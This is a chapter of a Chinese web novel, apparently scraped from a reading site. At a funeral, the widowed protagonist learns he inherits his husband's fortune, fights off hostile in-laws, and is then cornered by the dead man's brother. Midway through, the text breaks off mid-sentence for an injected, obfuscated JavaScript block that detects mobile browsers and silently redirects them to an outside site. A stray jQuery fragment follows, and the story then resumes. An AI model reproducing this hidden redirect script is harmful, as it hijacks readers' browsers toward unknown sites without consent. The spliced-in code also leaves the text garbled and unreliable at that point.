“什么?!”
沈家众人发出上百只尖叫鸡般此起彼伏的尖锐爆鸣。
“开什么玩笑!他才刚和柏霆结婚一天!怎么能继承我沈家的家产!”
“就是!一个姓祁的臭小子凭什么拿沈家的东西!”
“陈放,你真是反了天了,竟然敢撒这种谎!”
纵然看不清,祁闲也知道他们肯定义愤填膺得五官乱飞,特别是唾沫星子都要冲破雨幕的阻挡,喷到陈放脸上去了。
祁闲自己也好不到哪儿去。
他的大脑宕机了足足数秒,才在吵嚷中缓慢地消化完毕。
他,要,继承,沈柏霆的,全部,遗产?
怕不是他病的太严重,烧糊涂了吧!!!
陈放神情沉静,丝毫没有被沈家人要吃了他的样子吓到:
“遗嘱上就是这么写的,所有内容都在公证处做过公证,祁闲先生才是沈总钦定的唯一继承人。”
“不可能!沈柏霆是什么时候立的遗嘱?他怎么知道自己会和祁家小子结婚?!是不是你们俩串通好,想要抢走沈家财产?”
——冤枉呐!
但凡你们长点眼睛,看看他脸上呆滞又震惊的表情,都说不出来这种话!
周若华更是激动地跺着高跟鞋上前,指甲都要戳到祁闲脸上了:
“谁不知道他就是沈柏霆弄进来的挡箭牌,沈柏霆想找的人那么多年都没消息,被催得烦了,才随便找了家人联姻。现在还想继承家产?没门!”
陈放侧步挡在祁闲面前,面如寒冰:“麻烦您放尊重点。”
周若华不屑地翻了个白眼,直接将陈放推开:“一个助理还有资格教训我?沈柏霆都死了,你以为你算什么?没了主人的狗罢了!”
陈放的腿还伤着,被这么一推,差点摔倒。
幸亏祁闲眼疾手快,把他扶住了。
什么狗屁豪门啊,村口大妈吵架都比这有素质!
祁闲对沈家的权力斗争没兴趣,怎奈沈柏霆的遗嘱一下子把他架到火上烤了。
那可是千亿资产!谁不眼馋?
除非他当场宣布放弃继承,否则必定不断会有人过来找他麻烦。
放弃是不可能放弃的,祁闲可不会跟钱过不去。
甭管沈柏霆设立遗嘱的时候到底是怎么想的,这块馅饼都已经塞进他嘴里了,哪儿还有吐出去的道理。
如果现在就让人欺负到头上,今后肯定没好日子过。
他必须得支棱起来。
祁闲一巴掌扫开周若华的手,仍是委屈巴巴:“婶子,我是沈柏霆指认的集团继承人,既然沈柏霆不在了,陈放就是我的助理,我知道你嘴里含着粪难受,那也不能乱喷啊?”
周若华难以置信地瞪大眼睛,甚至都无视了祁闲的后半段话:“什么指定继承人,你还真想拿到沈家的财产?做梦吧!”
祁闲无辜:“我可没做梦,遗嘱可白纸黑字的放在这儿呢,原来婶子不识字啊,这样吧,我先送您去医院清清嘴里的粪,再送您去完成九年义务教育怎么样?也算是帮柏霆孝敬长辈了。”
“怎么说话呢你!”
其它沈家人也按捺不住了,模糊的面容纷纷扭曲起来,迈步逼近祁闲。
“柏霆刚结婚就出事,遗嘱还恰好对他有利,该不会就是他下手害的柏霆吧!”
“就算要结婚,为什么偏偏选中了这个祁家人?肯定是祁家动了什么手脚!”
“祁家早有预谋想要趁机吞掉沈家的家产,也不撒泡尿看看自己几斤几两,真以为我们沈家除了沈柏霆之外就没人了?”
“瞅瞅这小子气死沉沉的样儿,看着都晦气!”
祁闲一拍大腿,竖起大拇指夸赞:“哎呀妈呀,叔叔婶婶你们真是慧眼识珠,才见两面就知道我是灾星转世!可千万要小心点,万一哪天我再把你们也克死了,多不好意思啊。”
沈家众人安静了半秒钟,骂的更凶更难听了。
陈放侧头,略带担忧地道:“祁少……”
祁闲小声道:“没事儿,让他们骂两下又不会掉我的肉,反正继承权在我手上……你确定没搞错是吧?”
陈放:“没有,待会儿我就带您去确认遗嘱。”
祁闲点点头。
这不就结了,沈家人再吵也影响不了结果,就让他们无能狂怒几句发泄发泄吧。
祁闲不再理会激动愤怒的沈家人,再次转身面对沈柏霆的墓碑,第一次如此强烈地生出想要看清眼前照片的愿望——
他亲爱的财神爷!
祁闲倒了一杯酒,浇在沈柏霆的墓前。
也许你的遗嘱是为那位白月光准备的,很不幸被我捡了漏。
但是别难过,我会每天好生祭拜你的!
祁闲朝沈柏霆的墓碑深深鞠了一躬,轻声道:
“走吧陈放,我要去看遗嘱。”
陈放点头,迈开步子,沈家人一看他们俩要溜当然不愿意,伸手去抓祁闲胳膊。
“哎,想走?没那么容易!”
祁闲甩开那只手,语气终于第一次冷了:“别碰我。”
回应祁闲的,是径直朝他敲来的贵州茅台。
多年来和祁珩斗智斗勇的经验可不是盖的,祁闲意识到要被打的瞬间,就向墓碑后一猫,同时抬手去挡。
砰!
酒瓶砸在了沈柏霆的墓碑上,应声而碎,高浓度的白酒溅了祁闲一身。
他的胳膊堪堪擦过酒瓶子,只是感觉到轻微的疼痛。
但祁闲在瓶子被砸碎的瞬间,凄厉惨叫一声,叫人毫不怀疑他是被活生生砸断了手臂。
“祁少!”陈放骇然惊呼。
祁闲嘴上嗷嗷喊着,一个矮身,抄起脚边的香炉,狠狠砸向那张没有五官的脸!
一击命中。
“啊!!!”
偷袭者惨叫一声捂住脸,香灰蓬起的烟雾让周围的其他人都捂住口鼻忙不迭地远离,咳嗽声此起彼伏。
一片灰蒙蒙中,鲜红的血顺着袭击者的指缝流淌出来。
没等那位被他砸得头破血流的仁兄发作,祁闲就捂着被酒瓶蹭到的胳膊率先倒地,可怜地蜷缩起身子,满脸痛苦地开始打滚。
“救命!我的手!我的手可能断了!我的手啊!!!”
陈放骇得不知如何是好,他手伸出来,又缩回去,不敢碰祁闲,只能着急地蹲在祁闲身边:“祁少,您——”
祁闲滚到面朝着陈放,向他使劲挤眉弄眼。
“???”陈放脸上的表情出现了一瞬的呆滞。
陈放很
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249111|151531||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
快反应过来,哭天抢地伸出手半搀半扶把祁闲拽起来,急切道:“我这就送您去医院!竟然敢当众谋害祁少!祁少要是有个三长两短,你们所有人都吃不了兜着走!”
“哎别想跑!”有人要拦,一声倒地的重响却让他回头去看。只见被祁闲用香炉砸中的那家伙已经满头是血,彻底晕得不省人事。
“赶快叫120”的大呼小叫中,陈放和祁闲脚底抹油,早就溜远了。
有惊无险的全身而退,确定周遭无人,陈放松开搀扶着祁闲的手:“您怎么样?”
“没事,就被擦到了一下,皮外伤。”祁闲后怕地顺了顺胸脯,“还好躲得及时,不然倒着的可就得是我了。”
陈放敬佩:“我这就带您去医院。”
祁闲:“先把这身衣服换了吧,全都是酒味,有点想吐,而且好冷啊。”
陈放:“好,我叫人送新衣服。”
墓园里有专门设立的灵堂,祁闲被陈放带过去,推开门就看到沈柏霆的遗相摆在桌子正中。
平静下来,祁闲开始复盘。这场葬礼上,他既继承了沈柏霆遗产,又把试图偷袭他的沈家人打得头破血流。
唯一的损失,就是被酒瓶擦到的手臂,还是有那么一点点疼。
诶嘿,一整个大获全胜!
多亏了他在祁家多年来学到的宝贵智慧!
祁闲在祁家属于爹不疼娘不爱的超级弱势群体,每次祁珩欺负他,不管他再怎么据理力争说自己没错,也永远都是挨骂的那个。
久而久之,祁闲就算再脑子不好使,也学聪明了。
祁珩告状,他就先哭,委屈得上气不接下气,泪珠子直掉,嘴上说着对不起爸都是我不好你罚我吧。看到祁闲这样,祁志勇反倒不会怎么罚他,顶多嘴上骂两句。
这次也是一样。
他先倒在地上嗷嗷喊着自己的胳膊断了,凄惨得像是粉碎性骨折,沈家人压根就不敢当场找他追究砸香炉的事儿。
真厉害,不愧是他!
唯一后悔的,就是当时下手没再重一点。
灵堂的门被推开,有人抱着一套干净衣服进来,祁闲说着谢谢,想用右手接过。
对方却没松手。
祁闲抬头看他,是个穿着黑西装的陌生男人,挺高。应该是保镖吧。
“您胳膊不方便,我来帮您。”
“不用不用——”祁闲婉拒,可对方却径直上前两步,祁闲被逼地后退,只是几步,就到了墙角。
他被困住了。
糟糕。
祁闲下意识想把这人推开,但他左手刚伸到一半,就想到了自己手断了的设定,硬生生收了回来。
少年颊边还带着故意卖可怜的未干泪痕,发烧让他身体多少有些酸软,衣服被酒水打湿,正时刻带走着体表的温度,冷得微微打颤。
他张了张嘴,嗓音因紧张绷着:“你是谁?”
对方轻笑一声,他抬起手,解开祁闲衬衣的第一颗扣子,衣领敞开,露出白皙的脖颈和锁骨,以及点缀其上的其它色彩。
他拇指摩挲着祁闲颈窝中还未褪去的吻痕,低头凑到祁闲耳边,任凭祁闲偏头闪躲,也难以逃脱。
“没想到我哥还来得及弄出这些,我以为他压根就没碰过你呢,嫂子。”